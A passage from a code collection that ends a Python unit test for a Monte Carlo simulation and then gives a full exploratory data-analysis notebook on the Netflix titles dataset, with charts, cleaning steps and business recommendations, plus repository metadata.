This is a testing code for the method run_simulation.\n    \"\"\"\n    import numpy as np\n\n    runtest_namespace = default_namespace\n    runtest_namespace.n_steps = 5000\n    test_MC = MM2.monte_carlo.MonteCarlo(new_system=default_system, energy=MC_energy, arguments=runtest_namespace)\n    calculated = test_MC.run_simulation()\n    assert np.abs(test_MC.energy_array[-1]) < 10e+06\n", "meta": {"hexsha": "52238973acf67db7d9843fbe4ecc44e28ca74d46", "size": 4301, "ext": "py", "lang": "Python", "max_stars_repo_path": "mm_2019_sss_2/tests/test_MC.py", "max_stars_repo_name": "tlfobe/mm_2019_sss_2", "max_stars_repo_head_hexsha": "1e8a67188facb9ff3d1ac8036e150fe741c09ab2", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "mm_2019_sss_2/tests/test_MC.py", "max_issues_repo_name": "tlfobe/mm_2019_sss_2", "max_issues_repo_head_hexsha": "1e8a67188facb9ff3d1ac8036e150fe741c09ab2", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "mm_2019_sss_2/tests/test_MC.py", "max_forks_repo_name": "tlfobe/mm_2019_sss_2", "max_forks_repo_head_hexsha": "1e8a67188facb9ff3d1ac8036e150fe741c09ab2", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 44.3402061856, "max_line_length": 155, "alphanum_fraction": 0.7249476866, "include": true, "reason": "import numpy", "num_tokens": 1157, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48828339529583464, "lm_q2_score": 0.19193278182505782, "lm_q1q2_score": 0.09371759037811389}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Business Case: Netflix - Data Exploration and Visualisation\n\n# ![alt text](https://akm-img-a-in.tosshub.com/indiatoday/images/story/202012/Netflix-New-Feature-Audio-Only_1200x768.jpeg?9TmAZq3wvsTH1jXQNlPkiSKJprCtGBAx& \"Logo Title Text 1\")\n\n# ### Business Problem\n# \n#   - Analyze the data and generate insights that could help Netflix decide which type of shows/movies to produce and how to grow the business.\n#   \n# ### Dataset  -  <a href=\"https://d2beiqkhq929f0.cloudfront.net/public_assets/assets/000/000/940/original/netflix.csv\" >Netflix Dataset Link</a>\n# \n# The dataset provided to you consists of a list of all the TV shows/movies available on Netflix:\n# \n#   - **Show_id:** Unique ID for every Movie / Tv Show\n#   - **Type:** Identifier - A Movie or TV Show\n#   - **Title:** Title of the Movie / Tv Show\n#   - **Director:** Director of the Movie\n#   - **Cast:** Actors involved in the movie/show\n#   - **Country:** Country where the movie/show was produced\n#   - **Date_added:** Date it was added on Netflix\n#   - **Release_year:** Actual Release year of the movie/show\n#   - **Rating:** TV Rating of the movie/show\n#   - **Duration:** Total Duration - in minutes or number of seasons\n#   - **Listed_in:** Genre\n#   - **Description:** The summary description\n\n# ## A high level overview of the Neflix Dataset Exploration and Visualization\n# \n#   - **Loading and inspecting the Dataset**\n#     - Checking Shape of the Dateset\n#     - Meaningful Column names\n#     - Validating Duplicate Records\n#     - Checking Missing values\n#     - Unique values (counts) for each Feature\n#     - Unique values (names) are checked for Features with a unique value count below 100\n#     - Data validation - like for rating feature value cannot be duration of the movie.\n#   - **Dataset Preparation**\n#     - DataType Validation\n#     - Dervied Columns\n#   - **Univariante Analysis**\n#     - Movies & TV shows - Distribution\n#     - A pattern for adding Movies & TV shows content annually, monthly, etc.\n#     - Release year of a movie or TV show\n#     - Identify how content is distributed based on maturity level - kids, teens, and adults\n#     - Netflix's most popular genre\n#     - Top 20 cast contributed to Netflix content\n#     - Distribution of Movie Duration\n#     - No. of seasons per TV Shows\n#     - Distribution of Movies and TV Shows based on Country\n#   - **Biivariante Analysis**\n#     - day content added and Type (Movie or Tv Show)\n#     - rating and type \n#   - **Summary of final recommendations**\n\n# ### Importing the required libraries or packages for EDA \n\n# In[1118]:\n\n\n#Importing packages\nimport numpy as np\nimport pandas as pd\n\n# Importing matplotlib and seaborn for graphs\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nimport warnings\nwarnings.filterwarnings('ignore')\n\n# Importing Date & Time util modules\nfrom dateutil.parser import parse\n\nfrom collections import Counter\n\n\n# ## Loading and inspecting the Dataset\n\n# ### Loading the csv file\n\n# In[1119]:\n\n\nnetflix_data = pd.read_csv(\"./netflix.csv\")\n\n\n# In[1120]:\n\n\nnetflix_data.head()\n\n\n# ### Checking Shape and Column names\n\n# In[1121]:\n\n\nnetflix_data.shape\n\n\n# In[1122]:\n\n\nnetflix_data.columns\n\n\n# ### To make the column names more meaningful, \"listed_in\" has been changed to \"genres\".\n\n# In[1123]:\n\n\nnetflix_data.rename(columns = {\"listed_in\":\"genres\"},inplace= True)\n\n\n# ### Validating Duplicate Records.\n\n# In[1124]:\n\n\n# Dropping Duplicates if any\nnetflix_data=netflix_data.drop_duplicates()\nnetflix_data.shape\n\n\n# ### Inference \n#   - No duplicates records found.\n\n# ### Missing Data Anaysis\n\n# In[1125]:\n\n\n#Identifying Missing data. Already verified above. To be sure again checking.\ntotal_null = netflix_data.isnull().sum().sort_values(ascending = False)\npercent = ((netflix_data.isnull().sum()/netflix_data.isnull().count())*100).sort_values(ascending = False)\nprint(\"Total records = \", netflix_data.shape[0])\n\nmissing_data = pd.concat([total_null,percent.round(2)],axis=1,keys=['Total Missing','In Percent'])\nmissing_data.head(7)\n\n\n# ### Inference \n#   -  **0.11%** of total records have missing data for \"date_added\". **These records can be removed while analyzing the \"date_added\" feature.**\n#   - Only **4 records** are missing for **rating feature** which can be fixed using **imputation technique.**\n#   - Only **3 records** are missing for **duration** which can be fixed using **imputation technique.**\n#   - Rest missing data will be addressed during the analysis of each column.\n\n# ### Handling Missing  - ratings\n#   - Using Imputation technique. Imputing the rating missing value with NR\n\n# In[1126]:\n\n\nnetflix_data['rating'].replace(to_replace = np.nan, value = \"NR\",inplace=True) \n\n\n# ### Handling missing value for Country.\n\n# In[1127]:\n\n\nnetflix_data['country'] = netflix_data['country'].fillna(netflix_data['country'].mode()[0])\n\n\n# ### Unique values (counts) for each Feature\n\n# In[1128]:\n\n\nnetflix_data.nunique()\n\n\n# ### Inference \n#   - dropping show ID as it is just for reference and no use.\n#   - Description - 32 movies have the same description. This may be due to movies being released in different languages.\n\n# In[1129]:\n\n\n# dropping show ID as it is just for reference and no use.\nnetflix_data = netflix_data.drop('show_id',axis=1)\n\n\n# ### Unique values (names) are checked for Features with a unique value count below 100\n\n# In[1130]:\n\n\nnetflix_data['type'].unique()\n\n\n# In[1131]:\n\n\nnetflix_data['rating'].unique()\n\n\n# ### Inference\n#   - For **rating** feature value cannot be duration of the movie. Hence need to be fixed.\n#   - There were **3 missing records** for duration which are actually part of rating feature\n\n# ### Using imputation technique to replace the duration feature value to with 74 min, 84 min and 66 min\n\n# In[1132]:\n\n\nnull_columns=netflix_data.columns[netflix_data.isnull().any()]\nprint(netflix_data[netflix_data[\"duration\"].isnull()][null_columns])\n\n\n# In[1133]:\n\n\nnetflix_data.loc[netflix_data['rating'] == '74 min']\n\n\n# In[1134]:\n\n\nnetflix_data.loc[netflix_data['rating'] == '84 min']\n\n\n# In[1135]:\n\n\nnetflix_data.loc[netflix_data['rating'] == '66 min']\n\n\n# In[1136]:\n\n\n# Updated the correct duration value.\nnetflix_data.loc[5541,'duration'] = '74 min'\nnetflix_data.loc[5794,'duration'] = '84 min'\nnetflix_data.loc[5813,'duration'] = '66 min'\n\n\n# In[1137]:\n\n\n#Identifying Missing data. Already verified above. To be sure again checking.\ntotal_null = netflix_data.isnull().sum().sort_values(ascending = False)\npercent = ((netflix_data.isnull().sum()/netflix_data.isnull().count())*100).sort_values(ascending = False)\nprint(\"Total records = \", netflix_data.shape[0])\n\nmissing_data = pd.concat([total_null,percent.round(2)],axis=1,keys=['Total Missing','In Percent'])\nmissing_data.head(5)\n\n\n# ### Using imputation technique to replace the duration value to 'NR'\n\n# In[1138]:\n\n\nnetflix_data['rating'].replace({'74 min':'NR'},inplace=True)\nnetflix_data['rating'].replace({'84 min':'NR'},inplace=True)\nnetflix_data['rating'].replace({'66 min':'NR'},inplace=True)\n\n\n# In[1139]:\n\n\nnetflix_data['release_year'].unique()\n\n\n# ## Data Preparation\n\n# ### DataType Validation\n\n# In[1140]:\n\n\nnetflix_data.info()\n\n\n# ### Inference \n#   - date_added and release_year is a datetime data type , hence need to update the Dtype\n\n# In[1141]:\n\n\nnetflix_data[\"date_added\"] = pd.to_datetime(netflix_data['date_added'])\n\n\n# In[1142]:\n\n\nnetflix_data.info()\n\n\n# ### Dervied Columns\n# \n#   - Added new feature - **\"Year Added\"** from the **date_added** feature\n#   - Added new feature - **\"Month Added\"** from the **date_added** feature\n#   - Added new feature - **\"Day Added\"** from the **date_added** feature\n#   - Added new feature - **\"Weekday Added\"** from the **date_added** feature\n#   - Added new feature - **rating Category** based on whether the content is suitable for **Kids, Teenagers and Adults**\n#   - Added new feature - **season Count** for each TV shows.\n#   \n\n# In[1143]:\n\n\n# Creating the copy of the day before manipulating the date time information.\nnetflix_date = netflix_data.copy()\n\n\n# In[1144]:\n\n\nnetflix_date.shape\n\n\n# ### Removed the missing values before Analysising\n\n# In[1145]:\n\n\nnetflix_date.dropna(subset = ['date_added'],inplace= True)\n\n\n# In[1146]:\n\n\nnetflix_date.shape\n\n\n# ### New feature Added - year_added,month_added,day_added & Weekday_added\n\n# In[1147]:\n\n\nnetflix_date[\"year_added\"] = netflix_date['date_added'].dt.year\nnetflix_date[\"year_added\"] = netflix_date[\"year_added\"].astype(\"Int64\")\nnetflix_date[\"month_added\"] = netflix_date['date_added'].dt.month\nnetflix_date[\"month_added\"] = netflix_date[\"month_added\"].astype(\"Int64\")\nnetflix_date[\"day_added\"] = netflix_date['date_added'].dt.day\nnetflix_date[\"day_added\"] = netflix_date[\"day_added\"].astype(\"Int64\")\nnetflix_date['Weekday_added'] = netflix_date['date_added'].apply(lambda x: parse(str(x)).strftime(\"%A\"))\n\n\n# In[1148]:\n\n\nnetflix_date.info()\n\n\n# ### New Feature added \"ratings_cat\"\n\n#   - Classifying the 'rating' feature into three categories. (Kids, Teenagers, Adults) \n# \n# |Rating|Category|\n# |-----|-------|\n# |TV-Y|Kids|\n# |TV-Y7|Kids|\n# |TV-Y7-FV|Kids|\n# |G|Kids|\n# |TV-G|Kids|\n# |PG|Kids|\n# |TV-PG|Kids|\n# |PG-13|Teenagers|\n# |TV-14|Teenagers|\n# |TV-MA|Adults|\n# |R|Adults|\n# |NC-17|Adults|\n# |NR|Adults|\n# |UR|Adults|\n\n# In[1149]:\n\n\nnetflix_data['ratings_cat'] = netflix_data['rating'] \n\n\n# In[1150]:\n\n\ncustom_rating = {  'TV-Y':'Kids','TV-Y7':'Kids' ,'TV-G':'Kids','PG':'Kids','TV-PG':'Kids','TV-Y7-FV':'Kids','G': 'Kids',\n                 'PG-13':'Teenagers','TV-14' : 'Teenagers',\n                 'R'     : 'Adults', 'TV-MA' : 'Adults','NC-17' : 'Adults','NR': 'Adults','UR': 'Adults'} \n\nnetflix_data['ratings_cat'] = netflix_data['rating'].replace(to_replace = custom_rating)\n\n\n# In[1151]:\n\n\nnetflix_data.head()\n\n\n# ### New feature - Season Count for each TV shows.\n\n# In[1152]:\n\n\nnetflix_data['season_cnt'] = netflix_data.apply(lambda x : x['duration'].split(\" \")[0] if \"Season\" in x['duration'] else \"\", axis = 1)\nnetflix_data['duration'] = netflix_data.apply(lambda x : x['duration'].split(\" \")[0] if \"Season\" not in x['duration'] else \"\", axis = 1)\n\nnetflix_data.head()\n\n\n# ### Analyzing basic statistics about each feature, such as count, min, max, and mean.\n\n# In[1153]:\n\n\nnetflix_date.describe()\n\n\n# ### Inference\n#   - Netflix has **25%** of movies and TV shows that were released within the **last two years**\n#   - About **75%** of Netflix's content consists of movies and TV shows **released after 2013**\n#   - Data from Netflix shows that **new trend movies or TV shows are more prevalent**.\n#   - For more subscribers, Netflix should invest in **classic Movies and TV shows.**\n\n# ## Univariante Analysis\n# #### Feature Name\n#   - **Type** - Movies & TV shows - Distribution\n#   - **date_added** - Checking number of new Contents added yearly, monthly, which date and Weekend-Weekday\n#   - **release_year** - Movies and TV shows release_year trend.\n#   - **ratings & ratings_cat** - Identify how content is distributed based on maturity level - kids, teens, and adults\n#   - **genres** - Netflix's most popular genre\n#   - **cast** - Top 20 cast contributed to Netflix content\n\n# ### Movies & TV shows - Distribution\n\n# In[1154]:\n\n\ndata = netflix_data.groupby(\"type\")['type'].count()\n\nexplode=(0.08,0)\nlabels = ['Movie', 'TV Show']\ncolors = sns.color_palette(\"Reds\")\nplt.pie(data, labels=labels,colors = colors, autopct = '%0.0f%%', explode = explode)\nplt.show()\n\n\n# ### Inference\n#   - Netflix has **70%** of its content as movies\n#   - **Movies** are clearly more **popular on Netflix than TV shows**.\n# \n\n# ### Checking number of new Contents added yearly\n\n# In[1155]:\n\n\nfig = plt.figure(figsize=(15,5))\nsns.set(style='whitegrid')\nfig.set_facecolor(\"lightgrey\")\ncount = (netflix_date['year_added'].value_counts(normalize=True)*100)\ncount.plot.bar(color=sns.color_palette('Reds'))\nplt.title('Count Plot (%) - Movies added to Netflix by year ', fontsize=14)\nplt.ylabel('\"Frequency -> (Movies Added in %)', fontsize=12)\nplt.xlabel('Year -> (Movies added to Netflix) ', fontsize=12)\n\n\n# In[1156]:\n\n\nfig = plt.figure(figsize=(15,5))\nsns.set(style='whitegrid')\nfig.set_facecolor(\"lightgrey\")\nsns.countplot(data=netflix_date,x = 'year_added',palette =\"Reds\")\nplt.title('Count Plot - Movies added to Netflix by year ', fontsize=14)\nplt.ylabel('\"No. of movies added to Netflix', fontsize=12)\nplt.xlabel('Year -> (Movies added to Netflix) ', fontsize=12)\n\n\n# ### Inference\n#   - According to the above graph, Netflix has started adding content since 2014.\n#   - The popularity of OTT has boomed in the last 5 years, so we're seeing a dramatic increase in content being added.\n#   - There were **2000 (23%) Movies and TV shows** added in the year 2019 (Highest until date).\n# \n\n# ### Checking number of new Contents added montly\n\n# In[1157]:\n\n\nfig = plt.figure(figsize=(15,5))\nsns.set(style='whitegrid')\nfig.set_facecolor(\"lightgrey\")\nsns.countplot(data=netflix_date,x = 'month_added',palette =\"Reds\")\nplt.title('Count Plot - Movies added to Netflix by month ', fontsize=14)\nplt.ylabel('\"No. of movies added to Netflix', fontsize=12)\nplt.xlabel('Month -> (Movies added to Netflix) ', fontsize=12)\n\n\n# ### Inference\n#   - Each month, we see consistent content additions.\n\n# ### Checking number of new Contents on Weekends\n\n# In[1158]:\n\n\nfig = plt.figure(figsize=(15,5))\nsns.set(style='whitegrid')\nfig.set_facecolor(\"lightgrey\")\ncount = (netflix_date['Weekday_added'].value_counts(normalize=True)*100)\ncount.plot.bar(color=sns.color_palette('Reds'))\nplt.title('Frequency Plot (%) - Movies added to Netflix by day (Mon-Sun) ', fontsize=14)\nplt.ylabel('\"Frequency of Movies added in %', fontsize=12)\nplt.xlabel('Year on which Movies added on Netflix', fontsize=12)\n\n\n# In[1159]:\n\n\nfig = plt.figure(figsize=(15,5))\nsns.set(style='whitegrid')\nfig.set_facecolor(\"lightgrey\")\nsns.countplot(data=netflix_date,x = 'Weekday_added',palette =\"Reds\")\nplt.title('Count Plot - Movies added to Netflix by day (Mon-Sun) ', fontsize=14)\n\n\n# ### Inference\n#   - Netflix adds **45%** of its content on Thursdays and Fridays.\n#   - **On Friday, new content should be added.**\n#   - Over the weekend, less than 20% of content is added.\n\n# ### Checking when should new content be added to the site.\n\n# In[1160]:\n\n\nfig = plt.figure(figsize=(15,5))\nsns.set(style='whitegrid')\nfig.set_facecolor(\"lightgrey\")\ncount = (netflix_date['day_added'].value_counts(normalize=True)*100)\ncount.plot.bar(color=sns.color_palette('Reds'))\nplt.title('Frequency plot (%) - Movies added to Netflix by date of the month ', fontsize=14)\nplt.ylabel('\"Frequency of Movies added in %', fontsize=12)\nplt.xlabel('Date on which Movies added on Netflix', fontsize=12)\n\n\n# ### Inference \n#   - It was evident that **1st of every month** was when the most content was added.\n\n# ### Distribution of Release year \n\n# In[1161]:\n\n\nbins = [1941,2000,2011,2014,2016,2018,2020,2021]\nnetflix_date_v1 = netflix_date.groupby(pd.cut(netflix_date['release_year'], bins=bins)).release_year.count()\nbins = [1941,2000,2011,2013,2021]\nnetflix_date_v2 = netflix_date.groupby(pd.cut(netflix_date['release_year'], bins=bins)).release_year.count()\n\n\n# In[1162]:\n\n\nnetflix_date_bin = netflix_date_v1.to_frame()\nnetflix_date_bin.rename(columns = {\"release_year\":\"count\"},inplace= True)\nnetflix_date_bin1 = netflix_date_v2.to_frame()\nnetflix_date_bin1.rename(columns = {\"release_year\":\"count\"},inplace= True)\n\n\n# In[1163]:\n\n\nfig = plt.figure(figsize=(12,5))\nsns.set(style = \"darkgrid\")\nfig.set_facecolor(\"lightgrey\")\nplt.title('Bar plot - based on release_year of Movies & TV shows', fontsize=12)\nplt.ylabel('\"Count of Movies & TV shows release by year', fontsize=12)\nplt.xlabel('Bin of release year ', fontsize=12)\nplt.xticks(rotation = 80,fontsize=12)\nsns.barplot(x=netflix_date_bin.index,y='count',data=netflix_date_bin,palette=\"Reds\")\n\n\n# In[1164]:\n\n\nfig = plt.figure(figsize=(12,5))\nsns.set(style = \"darkgrid\")\nfig.set_facecolor(\"lightgrey\")\nplt.title('Bar plot - based on release_year of Movies & TV shows', fontsize=12)\nplt.ylabel('\"Count of Movies & TV shows release by year', fontsize=12)\nplt.xlabel('Bin of release year ', fontsize=12)\nplt.xticks(rotation = 80,fontsize=12)\nsns.barplot(x=netflix_date_bin1.index,y='count',data=netflix_date_bin1,palette=\"Reds\")\n\n\n# ### Inference\n#   - Netflix began adding content in 2014 as indicated by the \"added_year\" analysis mentioned above.\n#   - Added content has a release date ranging from 2014 till now for 75% of movies and TV shows. This shows Netflix encourages content creators to add new content in the platform.\n#   - **New content creators have a lot of opportunities to share their content on Netflix.**\n\n# ### Identify how content is distributed based on maturity level - kids, teens, and adults\n\n# In[1165]:\n\n\nfig = plt.figure(figsize=(12,5))\nsns.set(style = \"darkgrid\")\nfig.set_facecolor(\"lightgrey\")\ncount = netflix_data['ratings_cat'].value_counts(normalize=True)*100\ncount.plot.bar(color=sns.color_palette('Reds'))\nplt.title('Bar plot - Rating based on the Category (Kids,Teenagers & Adults)', fontsize=12)\nplt.ylabel('Frequency of Age rating (Adult,Kids,Teens) added in %', fontsize=12)\nplt.xlabel('Category - Kids,Teenager & Adults', fontsize=12)\nplt.xticks(rotation = 10,fontsize=12)\n\n\n# In[1188]:\n\n\nfig = plt.figure(figsize=(15,5))\nsns.set(style = \"darkgrid\")\nfig.set_facecolor(\"lightgrey\")\ncount = netflix_data['rating'].value_counts(normalize=True)*100\ncount.plot.bar(color=sns.color_palette('Reds'))\nplt.xticks(rotation = 0,fontsize=12)\nplt.title('Bar plot - Rating based on the Category ', fontsize=12)\nplt.ylabel('\"Frequency of age rating category added in %', fontsize=12)\nplt.xlabel('Category ', fontsize=12)\n\n\n# ### Inference\n#   - On Netflix, **48%** of the content (both Movies and TV shows) is for adults.\n#   - According to the graph above, more than **60%** of \"TV & Shows\" content is not suitable for kids.\n#   - More **kid-friendly** content could increase subscriber numbers.\n\n# ### Genres \n\n# In[1167]:\n\n\ngenres = \", \".join(netflix_data['genres']).split(\", \")\ngenres\n\ngenre_cnt = Counter()\nfor genre in genres:\n    genre_cnt[genre] += 1\n\ntop_20_genre = genre_cnt.most_common(20)\nnetflix_genres = pd.DataFrame (top_20_genre, columns = ['Genres','Genres Count'])\nnetflix_genres.head()\n\n\n# In[1189]:\n\n\nfig = plt.figure(figsize=(15,5))\nsns.set(style = \"darkgrid\")\nfig.set_facecolor(\"lightgrey\")\nplt.title('Top 20 Genres count', fontsize=12)\nplt.ylabel('\"Count of Movies & TV shows by genres', fontsize=12)\nplt.xlabel('Genres', fontsize=12)\nplt.xticks(rotation = 60,fontsize=12)\nsns.barplot(x='Genres',y='Genres Count',data=netflix_genres,palette=\"Reds_r\")\n\n\n# ### Inference\n#   - As can be seen from the graph above, **\"International Movies & Dramas\"** are the top genre contributor to Netflix.\n\n# ### Top 20 cast contributed to Netflix content\n#   - Top 20 actors who have contributed the most movies to Netflix content.\n#   - Top 20 actors who have contributed the most TV shows to Netflix content.\n\n# ### Top 20 actors who have contributed the most movies to Netflix content\n\n# In[1169]:\n\n\nnetflix_cast = netflix_data.groupby([\"type\",\"cast\"])[\"cast\"].count().unstack('type')\nnetflix_cast.columns =['Movie', 'TV Show']\nnetflix_movie_cast = netflix_cast[netflix_cast[\"Movie\"].notnull()].iloc[:,:1]\nnetflix_movie_cast.reset_index(level='cast', inplace=True)\nnetflix_movie_cast.head()\n\n\n# In[1170]:\n\n\nmovieCast = \", \".join(netflix_movie_cast['cast']).split(\", \")\nmovieCast\ncnt_movieCast = Counter()\n\nfor cast in movieCast:\n    cnt_movieCast[cast] += 1\n\nmovieCast = cnt_movieCast.most_common(20)\nnetflix_movieCast = pd.DataFrame (movieCast, columns = ['Actor','Actor Count'])\nnetflix_movieCast.head()\n\n\n# In[1190]:\n\n\nfig = plt.figure(figsize=(15,5))\nsns.set(style = \"darkgrid\")\nfig.set_facecolor(\"lightgrey\")\nplt.title('Top Actor count for Movies', fontsize=12)\nplt.ylabel('\"Count of Movies by Actors', fontsize=12)\nplt.xlabel('Actor Names', fontsize=12)\nplt.xticks(rotation = 70,fontsize=12)\nsns.barplot(x='Actor',y='Actor Count',data=netflix_movieCast,palette=\"Reds_r\")\n\n\n# ### Inference\n#   - Based on the above data, the majority of Netflix movies are **starring Indian actors.**\n\n# ### Top 20 actors who have contributed the most TV shows to Netflix content.\n\n# In[1172]:\n\n\nnetflix_tv_show_cast = netflix_cast[netflix_cast[\"TV Show\"].notnull()].iloc[:,1:2]\nnetflix_tv_show_cast.reset_index(level='cast', inplace=True)\ntv_show_cast = \", \".join(netflix_tv_show_cast['cast']).split(\", \")\ntv_show_cast\ncnt_tv_show_cast = Counter()\n\nfor cast in tv_show_cast:\n    cnt_tv_show_cast[cast] += 1\n\ntv_show_cast = cnt_tv_show_cast.most_common(20)\nnetflix_tvshow_cast = pd.DataFrame (tv_show_cast, columns = ['Actor','Actor Count'])\nnetflix_tvshow_cast.head()\n\n\n# In[1191]:\n\n\nfig = plt.figure(figsize=(15,5))\nsns.set(style = \"darkgrid\")\nfig.set_facecolor(\"lightgrey\")\nplt.title('Top Actor count for TV Shows', fontsize=12)\nplt.ylabel('\"Count of TV Shows by Actors', fontsize=12)\nplt.xlabel('Actor Names', fontsize=12)\nplt.xticks(rotation = 70,fontsize=12)\nsns.barplot(x='Actor',y='Actor Count',data=netflix_tvshow_cast,palette=\"Reds_r\")\n\n\n# ### Inference\n#   - In TV and shows, there was a mix of stars from around the world.\n\n# ### Distribution of Movie Duration\n\n# In[1174]:\n\n\nnetflix_data_mv = netflix_data[netflix_data[\"type\"] == \"Movie\"]\nnetflix_data_mv['duration'] = netflix_data_mv['duration'].fillna(0.0).astype(float)\n\n\n# In[1175]:\n\n\nsns.displot(data=netflix_data_mv,x='duration',bins=100,color=\"r\")\n\n\n# ### No. of seasons per TV Shows.\n\n# In[1176]:\n\n\nnetflix_season_cnt = netflix_data['season_cnt'].value_counts().reset_index()\nnetflix_season_cnt = netflix_season_cnt.rename(columns = {'season_cnt' : \"count\", \"index\" : 'season'})\nnetflix_season_cnt.loc[0,'season'] = 0\nnetflix_season_cnt.head()\n\n\n# In[1177]:\n\n\nfig = plt.figure(figsize=(15,5))\nsns.set(style = \"darkgrid\")\nfig.set_facecolor(\"lightgrey\")\nplt.title('Season count for TV shows', fontsize=12)\nplt.xticks(rotation = 0,fontsize=12)\nsns.barplot(x='season',y='count',data=netflix_season_cnt,palette=\"Reds_r\")\nplt.ylabel('Count of no. of season per TV show', fontsize=12)\nplt.xlabel('No. of Seasons', fontsize=12)\n\n\n# ### Distribution of Movies and TV Shows based on Country\n\n# In[1178]:\n\n\n# splitting the countries in different rows \nnetflix_country_data = netflix_data[['title','type', 'country' ]]\nnetflix_country_data = (netflix_country_data.drop('country', axis=1)\n              .join(netflix_country_data.country.str.split(', ',expand=True).stack().reset_index(drop=True, level=1).rename('country')))\nnetflix_country_data.head()\n\n\n# In[1179]:\n\n\nnetflix_country_data.country.nunique()\n\n\n# In[1180]:\n\n\n#as we can see we have records from 127 different countries, we'll only work with top 10 highest contributing countries\nnf_country_top_15 = netflix_country_data.country.value_counts().sort_values(ascending=False)[:15]\n\n\n# In[1181]:\n\n\nfig = plt.figure(figsize=(15,5))\nsns.set(style = \"darkgrid\")\nfig.set_facecolor(\"lightgrey\")\nplt.title('Top 15 Countries contibution towards Netflix content', fontsize=12)\nplt.xticks(rotation =60,fontsize=12)\nsns.barplot(x=nf_country_top_15.index,y=nf_country_top_15.values,palette=\"Reds_r\")\nplt.ylabel('Number of Content released', fontsize=12)\nplt.xlabel('Name of the country', fontsize=12)\n\n\n# ### Inference\n#   - US is the top contributor, followed by India and UK.\n\n# ## Bi-variant Analysis\n\n# ## Bi-variante analysis for below mentioned variables\n#   - day content added and Type (Movie or Tv Show)\n#   - rating and type\n\n# ### Day content added and Type (Movie or Tv Show)\n#   - As we have seen earlier that It was evident that 1st of every month was when the most content was added. Now it make sense to undersand how is the distribution based on Type.\n\n# In[1182]:\n\n\nfig = plt.figure(figsize=(15,5))\nsns.set(style='whitegrid')\nfig.set_facecolor(\"lightgrey\")\nsns.countplot(data=netflix_date,x = 'day_added',hue = 'type',palette =\"Reds_r\",\n              order = netflix_date['day_added'].value_counts().index[0:15])\nplt.title('Movies and TV Shows added added to Netflix by date ', fontsize=14)\n\n\n# ### Infernce\n#   - It was evident that 1st of every month was when the most content was added. Among these, **71% are movies, while 21% are TV shows**.It highly recommend that **Movie are added at the beginning of every month**.\n# \n#   - In addition, **Netflix will know when the majority of content is being added. If Netflix team needs to increase the servers, etc., they can work ahead of time.**\n\n# \n# \n\n# In[1183]:\n\n\nsns.catplot(data=netflix_data, kind=\"count\", x=\"ratings_cat\", hue=\"type\", palette=\"Reds\")\n\n\n# In[1184]:\n\n\nfig = plt.figure(figsize=(15,5))\nsns.set(style='whitegrid')\nfig.set_facecolor(\"lightgrey\")\nsns.countplot(data=netflix_data,x = 'rating',hue = 'type',palette =\"Reds_r\",\n              order = netflix_data['rating'].value_counts().index[0:15])\nplt.title('Content available at Netflix based on the Maurity level ', fontsize=14)\n\n\n# ## Summary of Final Recommendations\n#     \n#   - Only 25% of Netflix's content consists of movies and TV shows released before 2013. \n# ###### Recommendations \n#     - **For more subscribers, Netflix should invest in classic Movies and TV shows.**\n# \n#     \n#   - Netflix adds 45% of its content on Thursdays and Fridays. This may be due to the fact that people are likely to watch more content during weekends.\n# ###### Recommendations - \n#     - For **content creators or Netflix, Thursday and Friday are recommended dates to release content.**\n# \n#     \n#   - It was evident that 1st of every month was when the most content was added. Among these, 71% are Movies, while 21% are TV shows.\n# ###### Recommendations -\n#     - It highly **recommend that Movies be added at the beginning of every month**.\n#     - In addition, **Netflix will know when the majority of content is being added. If Netflix team needs to increase the servers, etc., they can work ahead of time and it will have one time cost per month or quarter.**\n# \n# \n#   - Netflix began adding content in 2014 as indicated by the \"added_year\" analysis mentioned above. Added content has a release date ranging from 2014 till now for 75% of movies and TV shows. This shows Netflix encourages content creators to add new content in the platform.\n# ###### Recommendations -\n#     - **New content creators have a lot of opportunities to share their content on Netflix.**\n# \n# \n#   - On Netflix, **48%** of the content (both Movies and TV shows) is for adults.Based on the analysis, more than **60%** of \"TV & Shows\" content is not suitable for kids.\n# ###### Recommendations -\n#     - More **kid-friendly** content could increase subscriber numbers.\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "f4b67a931b484eb7efc1c1253ad0a75d13c221fc", "size": 26673, "ext": "py", "lang": "Python", "max_stars_repo_path": "Netflix Movies & TV Shows/Netflix Data Analysis.py", "max_stars_repo_name": "Akshat-MS/DataScience-CaseStudies", "max_stars_repo_head_hexsha": "97f35ba35dd3e4d234a343431ae12d4decf0431a", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2022-02-27T18:26:57.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-27T18:26:57.000Z", "max_issues_repo_path": "Netflix Movies & TV Shows/Netflix Data Analysis.py", "max_issues_repo_name": "Akshat-MS/DataScience-CaseStudies", "max_issues_repo_head_hexsha": "97f35ba35dd3e4d234a343431ae12d4decf0431a", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Netflix Movies & TV Shows/Netflix Data Analysis.py", "max_forks_repo_name": "Akshat-MS/DataScience-CaseStudies", "max_forks_repo_head_hexsha": "97f35ba35dd3e4d234a343431ae12d4decf0431a", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 29.5709534368, "max_line_length": 276, "alphanum_fraction": 0.7076069434, "include": true, "reason": "import numpy", "num_tokens": 7047, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4416730203630096, "lm_q2_score": 0.21206880435710534, "lm_q1q2_score": 0.09366506934517489}}
